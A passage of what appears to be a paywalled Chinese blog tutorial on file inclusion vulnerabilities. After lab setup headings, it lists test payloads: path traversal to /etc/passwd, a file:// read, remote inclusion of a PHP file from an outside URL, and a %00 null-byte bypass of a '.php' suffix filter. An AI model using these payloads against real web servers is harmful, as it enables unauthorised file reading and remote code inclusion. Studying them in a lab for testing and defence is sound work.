配置靶机：
重启apache服务：
经典测试方法：
•?file=../../../../etc/passwd
•?page=file:///etc/passwd
•?home=main.cgi
•?page=http://www.a.com/1.php
•http://1.1.1.1/../../../../dir/file.txt
绕过过滤检测方法
部分服务器防御机制：在路径后面添加.php
破解方法：
1.在路径后添加%00，如：../../../../etc/password%00
本文介绍了如何配置靶机和重启apache服务，重点探讨了文件包含漏洞的经典测试方法，如利用../../../../etc/passwd等进行路径遍历。同时，文章提到了服务器的防御机制以及绕过过滤的方法，如添加%00和编码技巧。通过代码示例展示了利用PHP进行远程命令执行的可能，并提示了如何应对http://被一次性过滤的情况。最后，指出了这类漏洞可能导致的安全风险，可以结合攻击字典与burp的intruder模块进行利用。
最低0.47元/天 解锁文章
扫一扫
3617
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
